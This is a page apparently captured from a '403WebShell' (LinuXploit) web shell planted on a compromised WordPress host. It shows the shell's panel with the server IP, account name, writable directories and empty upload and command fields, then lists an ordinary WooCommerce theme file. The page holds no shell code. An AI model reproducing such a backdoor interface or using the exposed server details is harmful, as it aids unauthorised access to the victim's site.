Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.64.210
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/themes/meto/includes/woocommerce/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/themes/meto/includes/woocommerce/woocommerce.php
<?php
/**
 * WooCommerce Compatibility File
 *
 * @link https://woocommerce.com/
 *
 * @package ONUM
 */

/**
 * WooCommerce setup function.
 *
 * @link https://docs.woocommerce.com/document/third-party-custom-theme-compatibility/
 * @link https://github.com/woocommerce/woocommerce/wiki/Enabling-product-gallery-features-(zoom,-swipe,-lightbox)-in-3.0.0
 *
 * @return void
 */
function meto_woocommerce_setup()
{
    add_theme_support('woocommerce');
    add_theme_support('wc-product-gallery-zoom');
    add_theme_support('wc-product-gallery-lightbox');
    add_theme_support('wc-product-gallery-slider');
}
add_action('after_setup_theme', 'meto_woocommerce_setup');

/**
 * WooCommerce specific scripts & stylesheets.
 *
 * @return void
 */
function meto_woocommerce_scripts()
{
    wp_enqueue_style('meto-woocommerce-style', get_template_directory_uri() . '/assets/css/woocommerce.css');
    if (class_exists('woocommerce')) {
        wp_enqueue_style('meto-woocommerce-style');
    }
}
add_action('wp_enqueue_scripts', 'meto_woocommerce_scripts');

/**
 * Add 'woocommerce-active' class to the body tag.
 *
 * @param  array $classes CSS classes applied to the body tag.
 * @return array $classes modified to include 'woocommerce-active' class.
 */
function meto_woocommerce_active_body_class($classes)
{
    $classes[] = 'woocommerce-active';

    return $classes;
}
add_filter('body_class', 'meto_woocommerce_active_body_class');

/**
 * Product gallery thumnbail columns.
 *
 * @return integer number of columns.
 */
function meto_woocommerce_thumbnail_columns()
{
    return 4;
}
add_filter('woocommerce_product_thumbnails_columns', 'meto_woocommerce_thumbnail_columns');

/**
 * Related Products Args.
 *
 * @param array $args related products args.
 * @return array $args related products args.
 */
function meto_woocommerce_related_products_args($args)
{
    $defaults = array(
        'posts_per_page' => 4,
        'columns'        => 4,
    );

    $args = wp_parse_args($defaults, $args);

    return $args;
}
add_filter('woocommerce_output_related_products_args', 'meto_woocommerce_related_products_args');

/**
 * Remove the breadcrumbs
 */
add_action('init', 'meto_wc_breadcrumbs');
function meto_wc_breadcrumbs()
{
    remove_action('woocommerce_before_main_content', 'woocommerce_breadcrumb', 20, 0);
    add_action('meto_woocommerce_breadcrumb', 'woocommerce_breadcrumb');
}

/**
 * Change several of the breadcrumb defaults
 */
add_filter('woocommerce_breadcrumb_defaults', 'meto_woocommerce_breadcrumbs');
function meto_woocommerce_breadcrumbs()
{
    return array(
            'delimiter'   => '',
            'wrap_before' => '<ul id="breadcrumbs" class="breadcrumbs" itemprop="breadcrumb">',
            'wrap_after'  => '</ul>',
            'before'      => '<li>',
            'after'       => '</li>',
            'home'        => _x('Home', 'breadcrumb', 'meto'),
        );
}

/**
 * Remove the product link
 */
remove_action('woocommerce_before_shop_loop_item', 'woocommerce_template_loop_product_link_open', 10);
remove_action('woocommerce_after_shop_loop_item', 'woocommerce_template_loop_product_link_close', 5);

remove_action('woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10);
add_action('woocommerce_shop_loop_item_title', 'meto_change_products_title', 10);
function meto_change_products_title()
{
    echo '<h2 class="woocommerce-loop-product__title"><a href="'.get_the_permalink().'">' . get_the_title() . '</a></h2>';
}

/**
 * Remove default WooCommerce wrapper.
 */
remove_action('woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10);
remove_action('woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10);

if (! function_exists('meto_woocommerce_wrapper_before')) {
    /**
     * Before Content.
     *
     * Wraps all WooCommerce content in wrappers which match the theme markup.
     *
     * @return void
     */
    function meto_woocommerce_wrapper_before()
    {
        ?>
		<div id="primary" class="content-area col-lg-8 col-md-8 col-sm-12 col-xs-12">
			<main id="main" class="site-main" role="main">
			<?php
    }
}
add_action('woocommerce_before_main_content', 'meto_woocommerce_wrapper_before');

if (! function_exists('meto_woocommerce_wrapper_after')) {
    /**
     * After Content.
     *
     * Closes the wrapping divs.
     *
     * @return void
     */
    function meto_woocommerce_wrapper_after()
    {
        ?>
			</main><!-- #main -->
		</div><!-- #primary -->
		<?php
    }
}
add_action('woocommerce_after_main_content', 'meto_woocommerce_wrapper_after');

if (! function_exists('meto_woocommerce_cart_link')) {
    /**
     * Cart Link.
     *
     * Displayed a link to the cart including the number of items present and the cart total.
     *
     * @return void
     */
    function meto_woocommerce_cart_link()
    {
        ?>
			<a class="cart-contents" href="<?php echo esc_url(wc_get_cart_url()); ?>" title="<?php esc_attr_e('View your shopping cart', 'meto'); ?>">
				<i class="flaticon-supermarket"></i>
				<?php
                    $item_count_text = sprintf(
                        /* translators: number of items in the mini cart. */
                        _n('%d', '%d', WC()->cart->get_cart_contents_count(), 'meto'),
            WC()->cart->get_cart_contents_count()
                    ); ?>
				<span class="count"><?php echo esc_html($item_count_text); ?></span>
			</a>
		<?php
    }
}

if (! function_exists('meto_woocommerce_header_cart')) {
    /**
     * Display Header Cart.
     *
     * @return void
     */
    function meto_woocommerce_header_cart()
    {
        if (is_cart()) {
            $class = 'current-menu-item';
        } else {
            $class = '';
        } ?>
			<ul id="site-header-cart" class="site-header-cart">
				<li class="<?php echo esc_attr($class); ?>">
					<?php meto_woocommerce_cart_link(); ?>
				</li>
				<li>
					<?php
                        $instance = array(
                            'title' => '',
                        );
        the_widget('WC_Widget_Cart', $instance); ?>
				</li>
			</ul>
		<?php
    }
}

/**
 * Register widget area for shop page.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
function meto_woocommerce_widgets_init()
{
    register_sidebar(array(
        'name'          => __('Shop Sidebar', 'meto'),
        'id'            => 'shop-sidebar',
        'before_widget' => '<section id="%1$s" class="widget %2$s">',
        'after_widget'  => '</section>',
        'before_title'  => '<h5 class="widget-title">',
        'after_title'   => '</h5>',
    ));
}
add_action('widgets_init', 'meto_woocommerce_widgets_init');

Youez - 2016 - github.com/yon3zu
LinuXploit